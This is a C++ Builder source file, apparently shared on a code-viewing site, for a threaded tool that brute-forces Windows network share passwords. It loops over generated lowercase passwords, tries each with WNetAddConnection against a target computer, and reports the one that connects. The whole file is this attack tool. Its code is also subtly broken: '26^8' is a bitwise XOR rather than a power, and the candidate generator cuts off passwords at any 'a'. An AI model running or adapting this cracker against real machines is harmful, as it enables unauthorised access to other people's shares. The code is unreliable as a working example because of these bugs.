📄 passthread.cpp
字号:
//---------------------------------------------------------------------------
#include <vcl.h>
#include <math.h>
#pragma hdrstop
#include "Passthread.h"
#include "PassForm.h"
#include "WinNetwk.h"
#pragma package(smart_init)
//---------------------------------------------------------------------------
// Important: Methods and properties of objects in VCL can only be
// used in a method called using Synchronize, for example:
//
// Synchronize(UpdateCaption);
//
// where UpdateCaption could look like:
//
// void __fastcall FintPass::UpdateCaption()
// {
// Form1->Caption = "Updated in a thread";
// }
void __fastcall FintPass::SetError()
{
Form1->error->Caption = asError;
}
void __fastcall FintPass::Error()
{
Synchronize(SetError);
}
void __fastcall FintPass::SetValues()
{
Form1->Pass->Caption = CurPass;
Form1->Count->Caption = IntToStr(Count);
}
void __fastcall FintPass::SetSucess()
{
Form1->Start->Enabled = TRUE;
Form1->lPass->Caption = "查找成功";
Form1->Sucess->Caption = CurPass;
}
void __fastcall FintPass::Sucess(void)
{
Synchronize(SetSucess);
}
void __fastcall FintPass::Set(void)
{
Synchronize(SetValues);
}
//---------------------------------------------------------------------------
__fastcall FintPass::FintPass(bool CreateSuspended,int PL,AnsiString CN,AnsiString DN)
: TThread(CreateSuspended)
{
PassLength = PL;
CompName = CN;
Count = 0;
DrvName = DN;
// FreeOnTerminate = TRUE;
}
//---------------------------------------------------------------------------
void __fastcall FintPass::FreeThread(void)
{
// Terminated = TRUE;
}
//---------------------------------------------------------------------------
void __fastcall FintPass::Execute()
{
//---- Place thread code here ----
GetPass();
}
//---------------------------------------------------------------------------
void __fastcall FintPass::GetPass(void)
{
AnsiString Pass;int i,j;
double f = pow(26.0,8.0);
for(i=0;i<26^8;i++)
{
if ( Terminated )
break;
pass[0] = i%26+'a';
for(j=1;j<9;j++)
{
pass[j] = i/((__int64)pow(26,j))%26+'a';
if(pass[j]=='a')
{
pass[j]='\0';
break;
}
}
CurPass = (AnsiString)pass;
Count = i;
Set();
Synchronize(TestPass);
if(error==NO_ERROR){
Sucess();
break;
}
else
{asError = GetError(error);Error();}
}
Sucess();
// Terminate();
}
void __fastcall FintPass::TestPass()
{
error = ::WNetAddConnection(CompName.c_str(),pass,DrvName.c_str());
}
//---------------------------------------------------------------------------
char* __fastcall FintPass::GetError(DWORD error)
{
char msg[255];
switch(error){
case ERROR_ACCESS_DENIED: return "Access is denied.";
case ERROR_ALREADY_ASSIGNED: return "The device specified in the lpLocalName parameter is already connected.";
case ERROR_BAD_DEV_TYPE: return "The device type and the resource type do not match.";
case ERROR_BAD_DEVICE: return " The value specified in lpLocalName is invalid.";
case ERROR_BAD_NET_NAME: return "The value specified in the lpRemoteName parameter is not valid or cannot be located.";
case ERROR_BAD_PROFILE: return "The user profile is in an incorrect format.";
case ERROR_CANNOT_OPEN_PROFILE: return "The system is unable to open the user profile to process persistent connections.";
case ERROR_DEVICE_ALREADY_REMEMBERED: return "An entry for the device specified in lpLocalName is already in the user profile.";
case ERROR_EXTENDED_ERROR: return "A network-specific error occurred. To get a description of the error, use the WNetGetLastError function.";
case ERROR_INVALID_PASSWORD: return "The specified password is invalid..";
case ERROR_NO_NET_OR_BAD_PATH: return "The operation cannot be performed because either a network component is not started or the specified name cannot be used.";
case ERROR_NO_NETWORK:return "The network isNOT present";
default:return "Not known error!";
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -